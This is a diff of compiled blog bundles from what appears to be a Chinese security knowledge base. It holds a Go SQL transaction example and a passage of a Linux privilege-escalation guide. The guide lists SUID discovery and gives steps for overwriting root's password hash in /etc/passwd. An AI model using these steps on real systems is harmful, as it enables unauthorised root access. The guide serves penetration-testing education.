error\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u4e8b\u52a1\u793a\u4f8b",children:"\u4e8b\u52a1\u793a\u4f8b"}),"\n",(0,s.jsx)(n.p,{children:"\u4e0b\u9762\u7684\u4ee3\u7801\u6f14\u793a\u4e86\u4e00\u4e2a\u7b80\u5355\u7684\u4e8b\u52a1\u64cd\u4f5c\uff0c\u8be5\u4e8b\u7269\u64cd\u4f5c\u80fd\u591f\u786e\u4fdd\u4e24\u6b21\u66f4\u65b0\u64cd\u4f5c\u8981\u4e48\u540c\u65f6\u6210\u529f\u8981\u4e48\u540c\u65f6\u5931\u8d25\uff0c\u4e0d\u4f1a\u5b58\u5728\u4e2d\u95f4\u72b6\u6001\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u4e8b\u52a1\u64cd\u4f5c\u793a\u4f8b\nfunc transactionDemo() {\n\ttx, err := db.Begin() // \u5f00\u542f\u4e8b\u52a1\n\tif err != nil {\n\t\tif tx != nil {\n\t\t\ttx.Rollback() // \u56de\u6eda\n\t\t}\n\t\tfmt.Printf("begin trans failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tsqlStr1 := "Update user set age=30 where id=?"\n\tret1, err := tx.Exec(sqlStr1, 2)\n\tif err != nil {\n\t\ttx.Rollback() // \u56de\u6eda\n\t\tfmt.Printf("exec sql1 failed, err:%v\\n", err)\n\t\treturn\n\t}\n\taffRow1, err := ret1.RowsAffected()\n\tif err != nil {\n\t\ttx.Rollback() // \u56de\u6eda\n\t\tfmt.Printf("exec ret1.RowsAffected() failed, err:%v\\n", err)\n\t\treturn\n\t}\n\n\tsqlStr2 := "Update user set age=40 where id=?"\n\tret2, err := tx.Exec(sqlStr2, 3)\n\tif err != nil {\n\t\ttx.Rollback() // \u56de\u6eda\n\t\tfmt.Printf("exec sql2 failed, err:%v\\n", err)\n\t\treturn\n\t}\n\taffRow2, err := ret2.RowsAffected()\n\tif err != nil {\n\t\ttx.Rollback() // \u56de\u6eda\n\t\tfmt.Printf("exec ret1.RowsAffected() failed, err:%v\\n", err)\n\t\treturn\n\t}\n\n\tfmt.Println(affRow1, affRow2)\n\tif affRow1 == 1 && affRow2 == 1 {\n\t\tfmt.Println("\u4e8b\u52a1\u63d0\u4ea4\u5566...")\n\t\ttx.Commit() // \u63d0\u4ea4\u4e8b\u52a1\n\t} else {\n\t\ttx.Rollback()\n\t\tfmt.Println("\u4e8b\u52a1\u56de\u6eda\u5566...")\n\t}\n\n\tfmt.Println("exec trans success!")\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.a,{href:"https://www.liwenzhou.com/posts/Go/sqlx/",children:"\u66f4\u5f3a\u5927\u3001\u66f4\u597d\u7528\u7684sqlx\u5e93"})})]})}function x(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(o,{...e})}):o(e)}},28453:(e,n,r)=>{r.d(n,{R:()=>i,x:()=>d});var t=r(96540);const s={},l=t.createContext(s);function i(e){const n=t.useContext(l);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),t.createElement(l.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/6271cc5c.88b2aa9b.js b/assets/js/6271cc5c.88b2aa9b.js new file mode 100644 index 0000000..5049a6c --- /dev/null +++ b/assets/js/6271cc5c.88b2aa9b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1949],{28453:(t,e,n)=>{n.d(e,{R:()=>i,x:()=>l});var s=n(96540);const r={},o=s.createContext(r);function i(t){const e=s.useContext(o);return s.useMemo(function(){return"function"==typeof t?t(e):{...e,...t}},[e,t])}function l(t){let e;return e=t.disableParentContext?"function"==typeof t.components?t.components(r):t.components||r:i(t.components),s.createElement(o.Provider,{value:e},t.children)}},31109:(t,e,n)=>{n.r(e),n.d(e,{assets:()=>c,contentTitle:()=>l,default:()=>u,frontMatter:()=>i,metadata:()=>s,toc:()=>a});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","title":"\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/02.\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/02.\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/02.\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0"},"next":{"title":"AI","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/"}}');var r=n(74848),o=n(28453);const i={},l=void 0,c={},a=[];function d(t){const e={img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,o.R)(),...t.components};return(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-06-14 17:21:32"})]})})]})}function u(t={}){const{wrapper:e}={...(0,o.R)(),...t.components};return e?(0,r.jsx)(e,{...t,children:(0,r.jsx)(d,{...t})}):d(t)}}}]); \ No newline at end of file diff --git a/assets/js/63404b47.f5ae3524.js b/assets/js/63404b47.f5ae3524.js new file mode 100644 index 0000000..4d59008 --- /dev/null +++ b/assets/js/63404b47.f5ae3524.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4443],{28453:(n,e,s)=>{s.d(e,{R:()=>d,x:()=>r});var l=s(96540);const i={},c=l.createContext(i);function d(n){const e=l.useContext(c);return l.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function r(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:d(n.components),l.createElement(c.Provider,{value:e},n.children)}},85998:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>h,contentTitle:()=>r,default:()=>a,frontMatter:()=>d,metadata:()=>l,toc:()=>o});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/README","title":"Linux\u63d0\u6743","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/04.Linux\u63d0\u6743/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/04.Linux\u63d0\u6743","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/04.Linux\u63d0\u6743/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"k3s\u5b89\u88c5","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/k3s\u5b89\u88c5/"},"next":{"title":"RootHawkX Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177"}}');var i=s(74848),c=s(28453);const d={},r="Linux\u63d0\u6743",h={},o=[{value:"\u524d\u8a00",id:"\u524d\u8a00",level:2},{value:"\u57fa\u7840\u77e5\u8bc6",id:"\u57fa\u7840\u77e5\u8bc6",level:2},{value:"\u624b\u518c",id:"\u624b\u518c",level:3},{value:"\u7528\u6237\u548c\u6743\u9650",id:"\u7528\u6237\u548c\u6743\u9650",level:3},{value:"SUID \u548c SGID",id:"suid-\u548c-sgid",level:3},{value:"Linux Capabilities",id:"linux-capabilities",level:3},{value:"\u63d0\u6743\u65b9\u6cd5",id:"\u63d0\u6743\u65b9\u6cd5",level:2},{value:"SUID \u63d0\u6743",id:"suid-\u63d0\u6743",level:3},{value:"Linux \u5185\u6838\u6f0f\u6d1e",id:"linux-\u5185\u6838\u6f0f\u6d1e",level:3},{value:"Passwd\u63d0\u6743",id:"passwd\u63d0\u6743",level:3},{value:"Wildcard\u63d0\u6743",id:"wildcard\u63d0\u6743",level:3},{value:"Mysql UDF\u63d0\u6743",id:"mysql-udf\u63d0\u6743",level:3},{value:"Redis \u63d0\u6743",id:"redis-\u63d0\u6743",level:3},{value:"Capabilities \u63d0\u6743",id:"capabilities-\u63d0\u6743",level:3},{value:"Sudo \u63d0\u6743",id:"sudo-\u63d0\u6743",level:3},{value:"\u5185\u6838 \u63d0\u6743",id:"\u5185\u6838-\u63d0\u6743",level:3},{value:"\u810f\u725b \u63d0\u6743\uff08CVE-2016-5195\uff09",id:"\u810f\u725b-\u63d0\u6743cve-2016-5195",level:3},{value:"Polkit \u63d0\u6743\uff08CVE-2021-4034\uff09",id:"polkit-\u63d0\u6743cve-2021-4034",level:3},{value:"\u8ba1\u5212\u4efb\u52a1 \u63d0\u6743",id:"\u8ba1\u5212\u4efb\u52a1-\u63d0\u6743",level:3},{value:"Docker \u63d0\u6743",id:"docker-\u63d0\u6743",level:3},{value:"K8s \u63d0\u6743\uff08CVE-2018-1002105\uff09",id:"k8s-\u63d0\u6743cve-2018-1002105",level:3},{value:"LXD \u63d0\u6743",id:"lxd-\u63d0\u6743",level:3}];function x(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",hr:"hr",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"linux\u63d0\u6743",children:"Linux\u63d0\u6743"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2026-08-28 19:22:45"})]})})]}),"\n",(0,i.jsx)(e.h1,{id:"linux-\u63d0\u6743\u6587\u6863",children:"Linux \u63d0\u6743\u6587\u6863"}),"\n",(0,i.jsx)(e.p,{children:"Linux \u63d0\u6743\u662f\u6307\u901a\u8fc7\u591a\u79cd\u6280\u672f\u624b\u6bb5\uff0c\u5229\u7528\u7cfb\u7edf\u6f0f\u6d1e\u6216\u914d\u7f6e\u9519\u8bef\uff0c\u83b7\u53d6\u6bd4\u5f53\u524d\u7528\u6237\u6743\u9650\u66f4\u9ad8\u7684\u64cd\u4f5c\u6743\u9650\uff08\u901a\u5e38\u4e3a root \u6743\u9650\uff09\u3002\u672c\u6587\u8bb0\u5f55\u4e86\u5e38\u89c1\u7684 Linux \u63d0\u6743\u65b9\u5f0f\uff0c\u9002\u7528\u4e8e\u7cfb\u7edf\u5b89\u5168\u7814\u7a76\u3001\u6e17\u900f\u6d4b\u8bd5\u4ee5\u53ca\u63d0\u5347 Linux \u7cfb\u7edf\u7684\u5b89\u5168\u6027\u3002"}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.h2,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u6e17\u900f\u6d4b\u8bd5\u548c\u5b89\u5168\u5ba1\u8ba1\u8fc7\u7a0b\u4e2d\uff0c\u63d0\u6743\u662f\u4e00\u4e2a\u5e38\u89c1\u7684\u4efb\u52a1\u3002\u65e0\u8bba\u662f\u901a\u8fc7\u4e0d\u5f53\u914d\u7f6e\u3001\u6f0f\u6d1e\u5229\u7528\uff0c\u8fd8\u662f\u901a\u8fc7\u6ee5\u7528\u7cfb\u7edf\u6743\u9650\uff0c\u63d0\u6743\u90fd\u80fd\u8ba9\u653b\u51fb\u8005\u63d0\u5347\u5bf9\u76ee\u6807\u7cfb\u7edf\u7684\u63a7\u5236\u3002\u672c\u6587\u65e8\u5728\u4ecb\u7ecd\u5e38\u89c1\u7684 Linux \u63d0\u6743\u65b9\u5f0f\u4ee5\u53ca\u5982\u4f55\u9632\u8303\u8fd9\u4e9b\u653b\u51fb\u3002"}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.h2,{id:"\u57fa\u7840\u77e5\u8bc6",children:"\u57fa\u7840\u77e5\u8bc6"}),"\n",(0,i.jsx)(e.h3,{id:"\u624b\u518c",children:"\u624b\u518c"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:"https://gtfobins.github.io/",children:"GTFOBins"})}),"\n",(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:"https://man7.org/linux/man-pages/man7/capabilities.7.html",children:"capabilities(7) - Linux manual page"})}),"\n"]}),"\n",(0,i.jsx)(e.h3,{id:"\u7528\u6237\u548c\u6743\u9650",children:"\u7528\u6237\u548c\u6743\u9650"}),"\n",(0,i.jsxs)(e.p,{children:["Linux \u7cfb\u7edf\u4f7f\u7528 ",(0,i.jsx)(e.strong,{children:"\u7528\u6237\uff08UID\uff09"})," \u548c ",(0,i.jsx)(e.strong,{children:"\u7ec4\uff08GID\uff09"})," \u6765\u7ba1\u7406\u4e0d\u540c\u7528\u6237\u7684\u6743\u9650\u3002\u6bcf\u4e2a\u6587\u4ef6\u548c\u76ee\u5f55\u90fd\u6709 ",(0,i.jsx)(e.strong,{children:"\u6240\u6709\u8005"})," \u548c ",(0,i.jsx)(e.strong,{children:"\u6743\u9650"}),"\uff08\u4f8b\u5982\uff1a",(0,i.jsx)(e.code,{children:"rwxr-xr-x"}),"\uff09\uff0c\u5e76\u4e14\u4f1a\u5b9a\u4e49\u5bf9\u6587\u4ef6\u7684\u8bfb\u53d6\u3001\u5199\u5165\u548c\u6267\u884c\u7684\u8bbf\u95ee\u63a7\u5236\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u5e38\u89c1\u7684\u7528\u6237\u6743\u9650\u6709\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:"r"}),"\uff1a\u8bfb\u53d6\u6743\u9650"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:"w"}),"\uff1a\u5199\u5165\u6743\u9650"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:"x"}),"\uff1a\u6267\u884c\u6743\u9650"]}),"\n"]}),"\n",(0,i.jsx)(e.h3,{id:"suid-\u548c-sgid",children:"SUID \u548c SGID"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"SUID\uff08Set User ID\uff09"}),"\uff1a\u5f53\u4e00\u4e2a\u6587\u4ef6\u88ab\u8bbe\u7f6e\u4e86 SUID \u4f4d\u65f6\uff0c\u6267\u884c\u8be5\u6587\u4ef6\u7684\u7528\u6237\u5c06\u83b7\u5f97\u6587\u4ef6\u6240\u6709\u8005\u7684\u6743\u9650\uff0c\u800c\u4e0d\u4ec5\u4ec5\u662f\u5f53\u524d\u7528\u6237\u7684\u6743\u9650\u3002\u901a\u5e38\u7528\u4e8e\u7a0b\u5e8f\u9700\u8981\u7528 root \u6743\u9650\u6267\u884c\u7684\u60c5\u51b5\uff0c\u5982 ",(0,i.jsx)(e.code,{children:"ping"}),"\u3002"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"SGID\uff08Set Group ID\uff09"}),"\uff1a\u4e0e SUID \u7c7b\u4f3c\uff0c\u4f46\u5b83\u8ba9\u7a0b\u5e8f\u4ee5\u6587\u4ef6\u6240\u5c5e\u7ec4\u7684\u8eab\u4efd\u8fd0\u884c\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(e.p,{children:["\u67e5\u770b\u6587\u4ef6\u662f\u5426\u8bbe\u7f6e\u4e86 SUID/SGID\uff0c\u53ef\u4ee5\u4f7f\u7528 ",(0,i.jsx)(e.code,{children:"ls -l"})," \u547d\u4ee4\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"linux-capabilities",children:"Linux Capabilities"}),"\n",(0,i.jsxs)(e.p,{children:["Linux capabilities \u662f\u6bd4\u4f20\u7edf\u7684 root \u6743\u9650\u66f4\u7ec6\u7c92\u5ea6\u7684\u6743\u9650\u7ba1\u7406\u65b9\u5f0f\u3002\u901a\u8fc7 ",(0,i.jsx)(e.strong,{children:(0,i.jsx)(e.code,{children:"setcap"})})," \u547d\u4ee4\uff0c\u53ef\u4ee5\u4e3a\u8fdb\u7a0b\u6216\u6587\u4ef6\u8bbe\u7f6e\u7279\u5b9a\u7684\u80fd\u529b\uff0c\u4f8b\u5982\u7f51\u7edc\u8bbf\u95ee\u3001\u6587\u4ef6\u7ba1\u7406\u7b49\uff0c\u800c\u4e0d\u9700\u8981\u5b8c\u5168\u7684 root \u6743\u9650\u3002"]}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.h2,{id:"\u63d0\u6743\u65b9\u6cd5",children:"\u63d0\u6743\u65b9\u6cd5"}),"\n",(0,i.jsx)(e.h3,{id:"suid-\u63d0\u6743",children:"SUID \u63d0\u6743"}),"\n",(0,i.jsx)(e.p,{children:"SUID \u63d0\u6743\u662f\u6700\u5e38\u89c1\u7684\u63d0\u6743\u65b9\u5f0f\u4e4b\u4e00\u3002\u901a\u8fc7\u5229\u7528 SUID \u4f4d\uff0c\u7528\u6237\u53ef\u4ee5\u5728\u6267\u884c\u67d0\u4e9b\u7279\u6743\u547d\u4ee4\u65f6\u83b7\u53d6 root \u6743\u9650\u3002"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"\u67e5\u627e SUID \u6587\u4ef6"}),"\uff1a"]}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"find / -type f -perm -4000 2>/dev/null\n"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"\u5229\u7528 SUID \u63d0\u6743"}),"\uff1a\u5047\u8bbe ",(0,i.jsx)(e.code,{children:"find"})," \u5de5\u5177\u662f SUID \u6587\u4ef6\uff0c\u4e14\u5177\u6709\u6267\u884c ",(0,i.jsx)(e.code,{children:"root"})," \u6743\u9650\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u64cd\u63a7\u8be5\u5de5\u5177\u8fbe\u5230\u63d0\u6743\u3002"]}),"\n"]}),"\n",(0,i.jsx)(e.h3,{id:"linux-\u5185\u6838\u6f0f\u6d1e",children:"Linux \u5185\u6838\u6f0f\u6d1e"}),"\n",(0,i.jsx)(e.p,{children:"\u5185\u6838\u6f0f\u6d1e\u53ef\u4ee5\u4e3a\u653b\u51fb\u8005\u63d0\u4f9b\u76f4\u63a5\u7684 root \u63d0\u6743\u3002\u901a\u8fc7\u5229\u7528\u7cfb\u7edf\u4e2d\u7684\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u6267\u884c\u7279\u5b9a\u7684\u6076\u610f\u4ee3\u7801\uff0c\u4ece\u800c\u83b7\u5f97\u5b8c\u6574\u7684 root \u6743\u9650\u3002"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"\u5e38\u89c1\u7684\u5185\u6838\u6f0f\u6d1e"}),"\uff1a\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"Dirty COW \u6f0f\u6d1e"}),"\uff1a\u4e00\u4e2a\u8457\u540d\u7684\u5185\u6838\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u901a\u8fc7\u8be5\u6f0f\u6d1e\u53ef\u4ee5\u5728\u6ca1\u6709 root \u6743\u9650\u7684\u60c5\u51b5\u4e0b\u4fee\u6539\u5185\u6838\u5185\u5b58\u3002"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"Local Root Exploits"}),"\uff1a\u8bb8\u591a\u5185\u6838\u6f0f\u6d1e\u53ef\u4ee5\u8ba9\u672c\u5730\u7528\u6237\u901a\u8fc7\u63d0\u5347\u81ea\u5df1\u7684\u6743\u9650\u83b7\u5f97 root \u6743\u9650\u3002"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(e.h3,{id:"passwd\u63d0\u6743",children:"Passwd\u63d0\u6743"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"passwd \u6587\u4ef6\u63d0\u6743"})," \u662f\u901a\u8fc7\u7be1\u6539 ",(0,i.jsx)(e.code,{children:"/etc/passwd"})," \u6587\u4ef6\u4e2d\u7684\u67d0\u4e2a\u7528\u6237\uff08\u901a\u5e38\u662f root\uff09\u7684\u5bc6\u7801\u5b57\u6bb5\uff0c\u8fbe\u5230\u63d0\u6743\u76ee\u7684\u3002\u7531\u4e8e\u67d0\u4e9b\u7cfb\u7edf\u6216\u914d\u7f6e\u4e2d ",(0,i.jsx)(e.code,{children:"/etc/shadow"})," \u4e0d\u88ab\u4f7f\u7528\uff08\u6216 root \u4f7f\u7528\u7684\u662f passwd \u4e2d\u7684\u5bc6\u7801\uff09\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5c06 ",(0,i.jsx)(e.code,{children:"/etc/passwd"})," \u4e2d root \u7684\u5bc6\u7801\u5b57\u6bb5\u66ff\u6362\u4e3a\u4e00\u4e2a\u5df2\u77e5\u7684 hash\uff0c\u4ece\u800c\u4f7f\u7528 su \u63d0\u6743\u6210\u4e3a root\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u653b\u51fb\u6b65\u9aa4\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(e.p,{children:"\u9996\u5148\u751f\u6210\u4e00\u4e2a\u5df2\u77e5\u5bc6\u7801\u7684 hash\uff0c\u4f8b\u5982\u4f7f\u7528 openssl\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"openssl passwd -1 -salt xyz 123456\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u8f93\u51fa\u793a\u4f8b\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-swift",children:"$1$xyz$4zT7eWz8bszUOwhcGHM3E1\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u7136\u540e\u7f16\u8f91 ",(0,i.jsx)(e.code,{children:"/etc/passwd"})," \u6587\u4ef6\uff0c\u5c06 root \u90a3\u4e00\u884c\u7684\u5bc6\u7801\u5b57\u6bb5\u66ff\u6362\u6210\u4e0a\u8ff0 hash\uff0c\u6bd4\u5982\u539f\u672c\u662f\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:"root:x:0:0:root:/root:/bin/bash\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u4fee\u6539\u4e3a\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-ruby",children:"root:$1$xyz$4zT7eWz8bszUOwhcGHM3E1:0:0:root:/root:/bin/bash\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u4fdd\u5b58\u540e\uff0c\u4f7f\u7528 ",(0,i.jsx)(e.code,{children:"su"})," \u547d\u4ee4\u5207\u6362\u5230 root \u7528\u6237\uff0c\u5e76\u8f93\u5165\u4f60\u8bbe\u7f6e\u7684\u5bc6\u7801\uff08\u8fd9\u91cc\u662f 123456\uff09\u5373\u53ef\u5b8c\u6210\u63d0\u6743\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u8be5\u65b9\u5f0f\u9700\u8981\u76ee\u6807\u7cfb\u7edf\u7684 ",(0,i.jsx)(e.code,{children:"/etc/passwd"})," \u53ef\u5199\uff0c\u901a\u5e38\u914d\u5408\u67d0\u4e9b\u63d0\u6743\u624b\u6bb5\uff08\u5982\u7a0b\u5e8f\u9519\u8bef\u8bbe\u7f6e\u4e86 ",(0,i.jsx)(e.code,{children:"passwd"})," \u4e3a 777\uff09\u4e00\u8d77\u4f7f\u7528\uff0c\u5c5e\u4e8e\u5178\u578b\u7684\u201c\u4f4e\u6743\u9650\u53ef\u5199\u654f\u611f\u914d\u7f6e\u6587\u4ef6\u201d\u7c7b\u578b\u7684\u63d0\u6743\u65b9\u5f0f\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"wildcard\u63d0\u6743",children:"Wildcard\u63d0\u6743"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"wildcard \u901a\u914d\u7b26\u63d0\u6743"})," \u662f Linux \u63d0\u6743\u7684\u4e00\u79cd\u65b9\u5f0f\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u67d0\u4e9b\u547d\u4ee4\uff08\u5982 ",(0,i.jsx)(e.code,{children:"tar"}),"\u3001",(0,i.jsx)(e.code,{children:"cp"})," \u7b49\uff09\u5728\u5904\u7406\u5e26\u6709\u901a\u914d\u7b26 ",(0,i.jsx)(e.code,{children:"*"})," 